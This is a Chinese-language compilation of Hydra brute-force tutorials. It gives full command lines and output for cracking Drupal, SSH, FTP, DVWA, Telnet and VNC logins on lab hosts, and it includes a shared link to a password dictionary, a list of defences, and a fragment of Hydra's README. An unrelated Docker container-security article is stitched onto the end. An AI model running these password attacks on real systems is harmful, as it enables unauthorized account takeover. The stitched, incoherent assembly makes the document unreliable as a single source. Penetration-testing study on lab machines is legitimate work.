这些错误意味着某些依赖关系未安装。你仍然可以使用没有这些依赖关系的Hydra,但如果没有这些依赖关系,你将无法使用它们支持的协议。例如,上述错误意味着我们将无法执行SSL,SVN,甚至SSH爆破。除了这些常见的协议之外,错误表明支持firebird,NCP,SAP都缺少相应的依赖。Firebird是一种数据库技术。NCP是用于控制NetWare设备的NetWare支持协议,SAP /R3是用于客户关系类型包(认为结算和业务任务有关)的协议。不支持这些协议,Hydra的实用程序受到严格限制,因此你应该努力寻找支持这些功能的软件包。安装程序提供了一些有用的链接来查找所需的库。一般来说,如果你搜索[package]-dev或-devel,找到你的发行版的支持库。

现在在Fedora上使用:

$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel

这应该允许使用除SAP库之外的所有库。

一旦安装了所有依赖项,通过重新运行configure,然后make和最后make install命令。确保作为“make install”命令的特权用户运行,以便将所需的库放在文件系统上(即使用“sudo make install”)。

安装完成后,你可以从命令行使用Hydra或GUI版本的xHydra。使用命令行对于大多数需求是完全足够的,但是有时GUI是有帮助的。

有效的爆破

暴力攻击的力量受到攻击者提供的输入的限制。当尝试猜测用户名和密码时,有两个主要的策略:

第一个是尝试盲目的爆破。为此,攻击工具会从预定义集合的组合中生成用户名和密码。通常这是数字和字母。例如,在盲目爆破攻击中,系统首先尝试使用密码“a”作为用户“a”登录。接下来,它尝试以用户’a'登录,密码为’b'等等,循环遍历所有可能的笛卡尔可能性。这种方法在时间上是非常低效的,但最终将找到有效的凭据。

第二种方法是使用列表作为输入。为此,将向攻击工具提供用户名和密码列表。然后,该工具将用户列表中的第一个帐户和密码列表中的第一个密码,依次连续尝试每个用户的密码。这可以通过将可用输入限制到更小的集合来加快此过程。

暴力攻击的主要缺点是他们花费的时间很长。然而,通过减少变量,可能会加速暴力攻击。收集用户名/密码样式认证系统的有效用户列表将有效用户的猜测限制,极大地减少了连接尝试次数。许多服务将以公开有效的用户帐户如电子邮件地址或其他显示数据的形式,提供给Hydra的用户文件,这样准确性将大大提高。

用例:爆破Drupal

九头蛇可以用于许多不同类型的暴力攻击。Hydra对于老式的爆破工具(如Brutus)的一个优点是其能够执行HTTP post form攻击。这允许你使用Hydra来攻击基于Web的应用程序,甚至是具有反XSRF格式令牌的应用程序。

Hydra的一个潜在用例是测试Drupal用户名和密码的强度。例如,如果在http://172.16.46.129/drupal-6.16/中安装了Drupal站点,我们可以使用任意数量的方法来收集users.txt中有效用户列表(包括http:// www.madirish.net/?article=443)。一旦我们有一个用户列表和可能的密码列表(可能保存为passwords.txt),同时我们需要发现一个最终的组件。Drupal使用令牌保护所有表单(包括登录表单),因此我们需要在Web浏览器中提取目标,查看源代码并找到令牌组件,例如:

</ ul> </ div> <input type =“hidden”name =“form_build_id”id =“form-6fae72d47e80c07782f8d9f8a92b37ca”value =“form-6fae72d47e80c07782f8d9f8a92b37ca”/>

<input type =“hidden”name =“form_id”id =“edit-user-login-block”value =“user_login_block”/>

注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,这是我们需要提供的令牌,因此Drupal可以验证表单的帖子。除了表单令牌之外,你还需要找到表单字段名称以及表单后期操作URI。收集所有这些数据后,最后一步是在登录失败时找到出现在页面中的唯一字符串。没有这个Hydra无法确定登录尝试是否成功。默认情况下,Drupal提供字符串“对不起,无法识别的用户名或密码”。密码失败时。装备了这最后的信息,我们可以开始一个九头蛇暴力攻击:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 11:56:02`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service http-post-form on port 80

[80][www-form] host: 172.16.46.129 login: admin password: password

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

Hydra (http://www.thc.org\ finished at 2010-06-25 11:56:03`

以上输出显示,Hydra使用用户名“admin”和密码“password”成功登录到目标站点。请注意,这两个值都分别显示在user.txt和passwords.txt文件中。

Hydra可以用来攻击一长串协议。例如,使用以下命令可以攻击上述同一主机上的SSH服务器:

$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2

Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org\ starting at 2010-06-25 12:17:35`

[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task

[DATA] attacking service ssh2 on port 22

[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)

[22][ssh2] host: 172.16.46.129 login: admin password: password

Hydra (http://www.thc.org\ finished at 2010-06-25 12:17:39`

同样,此输出显示登录“admin”和密码“password”可以用于访问目标上的SSH。

实例4.爆破FTP和Web

1.介绍

当攻击者想要了解在线系统时,他可以使用字典爆破攻击。下面简单介绍了两种类型的攻击,并解释了如何使用Hydra启动在线字典攻击。

2.爆破与字典攻击

攻击者可以尝试所有可能的密码组合(暴力方法)。好处是对获得正确密码是有利的。缺点是这是一个非常耗时的过程。

攻击者可以建立一组连接数字(字典中的示例性模式)的通用字,并尝试从该集合中的每个组合。这种方法(字典攻击)可以节省攻击者的时间,因为他不必强制整个关键空间。缺点是不能保证找到正确的密码。然而,打入正确密码的可能性是非常好的。

3.环境

Hydra被描述为支持许多服务的网络登录破解者。下面简单介绍如何使用Hydra启动对FTP和Web表单的在线字典攻击。

Metasploitable是一种基于Linux的漏洞环境虚拟机。例如,它可以用于练习渗透测试技能。请记住,此机器易受攻击,不应以桥接模式运行。

DVWA(Damn Wulnerable Web Application)是一种有意易受攻击的Web应用程序。对于那些想要了解Web应用程序安全性的人来说,这是非常棒的环境。DVWA是Metasploitable的一部分。

4.字典

让我们创建两个简短的描述字典。

用户列表(list_user):

1

2

3

admin_1

admin

msfadmin

密码列表(list_password)

1

2

3

4

password_1

password

msfadmin

password_2

有12种组合进行检查(3个用户4次密码)。这些组合包括DVWA登录表单和Metasploitable FTP(DVWA登录表单的管理员/密码; Metasploitable FTP的msfadmin / msfadmin)的默认凭据。

5.Metasploitable字典攻击FTP

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V

使用上述字典(list_user和list_password)。Metasploitable FTP服务器的IP地址为192.168.56.101。这就是为什么在命令中使用ftp模块。应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:msfadmin,password:msfadmin)。

Clipboard Image.png

6.DVWA词典攻击Web登录表单

使用以下命令启动攻击:

[email protected]:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V

上述字典(list_user和list_password)再次被使用。DVWA的IP地址为192.168.56.101。DVWA的登录表单可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。当用户登录时,生成以下请求(由Burp Suite 拦截):

Clipboard Image.png

关键部分标记在屏幕截图上。它们是http-post-form模块参数的值:

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

^ USER ^和^ PASS ^分别替换为用户名(来自list_user)和密码(list_password)。当登录尝试失败时,服务器将以“登录失败”消息进行响应,该消息是最后一个参数的值。

最后,应该使用-V来查看每次尝试的用户名和密码。

如下所示,Hydra已经找到一对有效的用户名和密码(用户名:admin,password:password)。

Clipboard Image.png

7.总结

本文介绍了两种类型的在线密码攻击(爆破,字典),并介绍了如何使用Hydra对FTP和Web表单启动在线字典攻击。Hydra是一个支持许多服务的网络登录破解者

[1]。Metasploitable可用于实践渗透测试技能

[2]。DVWA(Damn Wulnerable Web Application)对于那些想要使用Web应用程序安全性的人来说是有帮助的。

参考文献:

Hydra

http://www.thc.org/thc-hydra/

[2] Metasploitable

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

[3] DVWA(Damn Wulnerable Web Application)

http://www.dvwa.co.uk/

[4] Burp suite

http://portswigger.net/burp/

实例5.爆破Telnet

爆破是一个相当简单的思维,也是一个非常强大的想法。简单地说这是什么意思 攻击者将尝试每个可能的字符组合,以尝试猜测你的密码/密钥等。这是为什么密码很重要的原因之一,因为爆破攻击会找到你的密码,你需要确保密码爆破在所需时间使其在技术上不可行。我们也简要地看了一下使用爆破来破解你所拥有的密码文件,但是这次我爆破一些登录服务。

忧虑

这两个主要原因是:

许多公司通过其防火墙允许一些服务,无论是ftp,pop3,ssh甚至网页登录到某个地方。所有这些都可以是爆破的。此外,这样做的工具易于使用和获取。

爆破的基本概念有所改变。许多爆破工具允许你指定密码或用户名列表。这是因为使用这些比传统的爆破更快。但是使用现代的硬盘驱动器大小和方法(彩虹表,组合攻击等),使用所有可能的字符组合创建一个文件是非常可行的,使用这样一个文件会减少运行这种攻击所需的时间。

使用linux系统进行爆破

让我展现出一个可以在linux和相关系统上使用的实用程序 – Hydra。

该软件来自THC,它是一个非常有用的基于命令行的程序,可以处理许多不同的协议。这是从4.6版本我正在使用的列表

支持的协议:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]

让我们从一个简单的服务开始 – telnet ..

# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08

[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task

[DATA] attacking service telnet on port 23

[23][telnet] host: 10.0.0.50 login: easy password: 12345

[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h

[23][telnet] host: 10.0.0.50 login: public password: joe

[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h

[23][telnet] host: 10.0.0.50 login: sue password: joe

[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08

现在首先,这个服务器有一些很简单的密码和用户名设置(你可以看到),现在看看我使用的交换机..

-L,指定用户名列表,注意大小写不同

-P,指定密码列表

-e,尝试null和相同(与用户名相同)密码

-t,以指定要运行的parralel进程的数量

那么目标IP和服务

-v,用于详细

让我们尝试运行它与常用的东西..

# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28

[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task

[DATA] attacking service vnc on port 5900

[5900][vnc] host: 10.0.0.100 login: password: 123456

[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30

正如你所看到的那样,VNC也是如此,所有我改变的是…

将用户名指定为null,-l“”

停止检查相同的密码,-en

简单,强大,实用

0×06免责说明

1.请勿在军事或秘密服务机构或非法目的使用。

2.Affero通用公共许可证版本3(AGPLv3)适用于此代码。

3.包含了OpenSSL的特殊许可扩展,这是Debian家族所需要的

0×07联系我们

诚心需要大家的帮助!

如果您发现错误,编码增强功能或为服务写入新的攻击模块,请将它们发送到[email protected]

有趣的攻击模块将是:OSPF,BGP,PIM,PPTP,…(或任何你可能做的事情(而且还没有)

请注意,您也可以通过github下载并提交:https://github.com/vanhauser-thc/thc-hydra

非常感谢大家的建议!

Yourssincerly,

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

0×08防范措施

由于在攻击期间导致的失败的登录尝试次数很多,所以爆破是非常容易发现的。有几种有效的策略来检测和预防这种攻击。

1.最有效的策略之一是限制失败的登录尝试次数。使用此策略可以在一定数量的故障之后阻止主机或锁定帐户。在实施这种方法时应该小心,因为攻击者可能会故意导致帐户被锁定而导致拒绝服务条件。由于响应有效的用户引起认证失败,使用此策略也会提高服务的支持成本。

2.另一个策略是限制连接尝试。许多服务允许配置此值。通过限制连接尝试次数,可能必须重新启动攻击工具才能完成攻击。这种类型的配置可能会使攻击者充分混淆,从而使他们远离。至少它会防止自动攻击。

3.每次失败的尝试增加服务响应时间是另一个可以在许多情况下运行的策略。该策略涉及连续增加每次失败的认证尝试的响应时间。这意味着首先发生小的延迟,但随着攻击的进行,延迟更长和更长。这是一种非常有效和不引人注意的挫败暴力攻击的方法。

4.只要服务创建某种失败的日志,检测爆破就很容易。最常见的入侵检测系统(IDS)应该能够在短时间内检测大量失败的登录尝试。这种方法的缺点是攻击者可能会洪泛一个系统来产生大量的IDS事件通知,这些通知可以用于分析人员引发信息超载。充斥警报的分析人员将难以通过所有通知来识别实际的攻击,因此攻击者可能能够隐藏大量攻击的攻击垃圾。

5.审计系统密码也是一个有效的防范。通过检查你自己的系统以确保常用的用户名和密码不允许访问,你可以确保使用Hydra和普通用户和密码列表的攻击者无法访问。这种类型的渗透测试可能是耗时的,但是可能会在暴力攻击开始或成功之前提醒运营商潜在的漏洞。

6.检查你的日志。确保你检查任何系统日志可疑活动。当我运行这些测试时,目标服务器的日志显示了很多失败的登录,始终是发生事件的一个明确的迹象

7.正确设置你的服务 在关闭会话之前只允许一定数量的登录,如果可能的话,可以锁定谁可以从哪里登录

8.使用好的密码

最后一件事,在某种恶意的事情之前检测到这种类型的事情。

字典更新:链接:http://pan.baidu.com/s/1pLMFjsR 密码:p84w

失效及时私信我

更新时间:2017年10月31日

    Docker作为应用容器中最引人瞩目的实现方式,在近几年得到飞速的发展,大有成为应用容器事实标准的趋势,国内外不少企业已经将其应用到生产系统中了,有理由相信随着docker自身技术的完善和相关技术生态的建立,将成为下一代云计算的基石。

    Docker的优点很多,由于其诞生的目的就是便于持续的集成和快速部署,尽量减少中间环节,这也为其安全控制带来难度, Gartner在确定2017年中最高安全技术,关于容器安全是其中一项,原文如下:

     Containers use a shared operating system (OS) model. Anattack on a vulnerability in the host OS could lead to a compromise of allcontainers. Containers are not inherently unsecure, but they are being deployedin an unsecure manner by developers, with little or no involvement fromsecurity teams and little guidance from security architects. Traditionalnetwork and host-based security solutions are blind to containers. Containersecurity solutions protect the entire life cycle of containers from creationinto production and most of the container security solutions providepreproduction scanning combined with runtime monitoring and protection.

    报告分析了容器安全面临的挑战:容器使用共享操作系统(OS)模型。对主机操作系统中的漏洞的攻击可能导致所有容器被攻击,且容器本身并不完全安全。但真正的问题在于由开发人员以不安全的方式部署,安全团队很少或根本没有参与,安全架构师也没有指导。

Docker容器安全吗?

   本身这个问题就是一个哲学问题,答案是否定的-不安全,因为没有绝对安全。其实对docker容器安全质疑最大的一点就是其隔离的彻底性,与其对比就是当前成熟的虚拟机(VM)技术。相对于VM,docker容器只是对进程和文件进行虚拟化,而VM做到了OS级别的虚拟化。从这个角度看VM的隔离性确实要好于docker容器,也就是说对宿主机的安全影响VM要远远小于docker,但换个角度看,这也恰恰正是docker的一个优点:轻量级,高效以及易移植。所以,安全和易用永远存在在一个平衡点,本文探讨的前提是认同docker带来的便利性,也接受其带来的安全风险,而要做的是利用一些的安全手段来将其风险降到可接受范围。

而容器安全如何来实现呢?

     其实在Gartner的报告中也提到了,需要对docker全生命周期的安全防护,信息安全本质上就是控制风险,如果从一个docker的生命中周期面临的安全威胁来设计docker的安全防护策略,那安全控制的思路就会十分清晰。

     首先,来简单捋一下docker容器的生命周期,一个docker容器从产生到运行部署大致分为如下三个状态:

 

1.jpg

  • –Dockerfile:用于创建image镜像的模板文件,出于管理和安全的考虑,docker官方建议所有的镜像文件应该由dockerfile来创建,而当前不少用户把docker当虚拟机来使用,甚至容器中安装SSH,从安全的角度,这是不恰当的。

  • –Image:镜像文件,对比PC端的概念,我们可以把它理解为服务器端的可执行软件包。一旦打包生成,如存在安全问题,那这些问题也被一并打包,最后导致安全事件。

  • –Container:运行起来的image文件就是容器了,从外来看就是一个应用,可对外提供服务了。

      所以不难发现,docker容器的生命周期,就是一个镜像文件从产生、运行到停止的过程,对其安全防护的目标就很明确了,那就是:

2.jpg

     接下来,我们把docker容器生命周期和实际工作中结合起来,大致如下图所示:

 

3.jpg

      在一般企业内,一个标准的产品发布流程大致如下:研发人员将代码提交给代码库;QA和安全人员通过jekins等工具进行编译并测试;测试完成后,由运维人员获取最终上线版本,发布到生产环境。也可能是测试完成后,直接发布到生产环境。

     化繁为简,可将docker生命周期拆为两个大阶段,非生产环境阶段和生产环境阶段,这两个阶段安全控制的目标如下:非生产环境中保证镜像安全可信,生产环境中保证镜像正确的运行。


两个阶段安全保护措施

   Docker公司与美国互联网安全中心(CIS)合作,制定了docker的最佳安全实践,其中包括了主机安全配置、docker守护进程配置、docker守护程序配置文件、容器镜像和构建、容器运行安全、docker安全操作六大项,99个控制点。几乎覆盖了docker安全要求各个方面,我们也对其进行了翻译和整理,在本专栏的后续文章中会陆续发布。

保证非生产环境中的镜像安全

   –容器使用非root用户运行

   为了防止容器逃逸而获得宿主机的权限,容器内应用以非root用户身份运行,如果用户已经在容器镜像中定义,则默认情况下容器将作为该用户运行,且不需要特定的用户命名空间重新映射。可以在Dockerfile中添加用户:RUN useradd -d / home /username -m -s / bin / bash username USER username 

   –使用安全的基础镜像

   如果基础镜像存在安全问题,那整个镜像文件的安全性也无从谈起,用户可根据自身需求定制基础镜像,并强制要求组织内使用认可的基础镜像;也可使用第三方安全的镜像,这里推荐使用Alpine-linux,docker所有的官方镜像都使用其作为基础镜像,docker也会对其维护更新,所以安全性有保证。

   –删除镜像中的setuid和setgid权限

   setuid和setgid权限可用于提权。虽然有时候必须要使用到,但如果被滥用,可能会导致非法的提升权限。可以在镜像中限制这些权限的使用。具体做法可参考:在构建镜像时通过在Dockerfile中添加以下命令来删除这些权限,一般在Dockerfile的末尾添加:RUN find / -perm +6000-type f-exec chmod a-s {} \;|| true

  –启用Docker的内容信任

    内容信任允许当用户使用远程Docker仓库进行操作时,以执行镜像标记的客户端签名和验证。内容信任提供了对从Docker仓库发送和接收的数据使用数字签名的能力。这些签名允许客户端验证特定镜像标签的完整性。

在默认情况下,内容信任是禁用的。可通过如下命令进行启动: export DOCKER_CONTENT_TRUST = 1

 –最小安装原则:

   安全的普适法则,不要安装任何与应用无关的东西。

 –对镜像进行安全漏洞扫描

   镜像中包含了很多的插件及软件包,需要对这些软件包进行漏洞扫描,并根据结果安装补丁或更新软件,Coreos提供了一款开源docker镜像安全扫描器-Clair,(github地址:https://github.com/coreos/clair)。Clair可对镜像文件进行静态的安全扫描,并结合CVE给出漏洞扫描结果,运行效果如下:

4.jpg

     关于Clair的实现原理,会在后续的文章介绍,同时我们参考了Clair的实现方式,优化了开发了一款docker镜像扫描器,也会在适当的时候推出并开源。

如何保证生产环境中容器的安全?

  • –对docker宿主机进行安全加固

     务必保证docker宿主机的安全,需要对宿主机的系统进行安全加固处理,主机加固可以参考相关的安全checklist以及各企业制定的主机安全规范,在这里就不在赘述。

  • –限制容器之间的网络流量

     在默认情况下,同一主机上的所有容器之间网络流量不受限制。因此,每个容器都有可能在同一主机上的容器网络上读取所有数据包。这可能会导致意外泄露信息。因此,需要限制容器间通信具体操作:在守护进程模式下运行docker,并将’–icc = false’作为参数。如:/ usr / bin / dockerd –icc = false 

  • –配置Docker守护程序的TLS身份验证

    在默认情况下,Docker守护程序绑定到非联网的Unix套接字,并以root权限运行。若将默认的docker守护程序更改为绑定到TCP端口或任何其他Unix套接字,那么任何有权访问该端口或套接字的人都可以完全访问Docker守护程序。因此,不应该将Docker守护程序绑定到另一个IP /端口或Unix套接字。如果必须通过网络套接字暴露Docker守护程序,需为守护程序和Docker Swarm API配置TLS身份验证。 

  • –启用用户命名空间支持

    防止容器内的提权攻击的最佳方法是将容器的应用程序配置为无特权用户运行。对于必须使用roo身份运行的容器,可以将该用户重新映射到Docker主机上特定用户。映射的用户被分配一个范围的UID,它们在命名空间内作为正常的UID,但对主机本身没有特权。关于使用用户命名空间隔离容器在后续文章中详细介绍。

  • –限制容器的内存使用量

    在默认情况下,容器可以使用主机上的所有内存。可以使用内存限制机制来防止一个容器消耗所有主机资源的拒绝服务攻击,具体可使用使用“-m”或“–memory”参数运行容器。如下:

$> docker run <运行参数> –memory <memory-size> <Container ImageName或ID> <Command>

  • –适当设置容器CPU优先级

   在默认情况下,CPU时间在容器间平均分配,可使用CPU共享功能来设定优先级。 CPU共享允许将一个容器优先于另一个容器,并禁止较低优先级的容器频繁地占用CPU资源。这样可确保高优先级的容器更好地运行,且可以有效的防止资源耗尽攻击。

    针对docker安全配置检查,docker官方提供了一个脚本工具docker-bench-secruity(github地址:https://github.com/docker/docker-bench-security),检查依据便是CIS的最佳安全实践,运行界面如下:

 

5.jpg

 

      通过前文介绍,列举了在docker容器生命周期需要进行的安全控制措施,但如果仅靠人工实施和监督,可能效果不会太好。若能将docker各个生命周期的安全管理自动化才是最佳实现方式,docker安全刚刚开始呀:)

 


后续预告

由于docker安全涉及内容较多,dosec专栏会发布一系列的原创文章,目前拟定有:

《docker镜像安全扫描器的实现》

《利用docker插件实现细粒度权限控制》

《配置安全的docker运行liunx主机》

《docker最佳安全实践详解》

《docker内容信任详解》

《docker安全管理平台的架构设计》

 欢迎关注!!!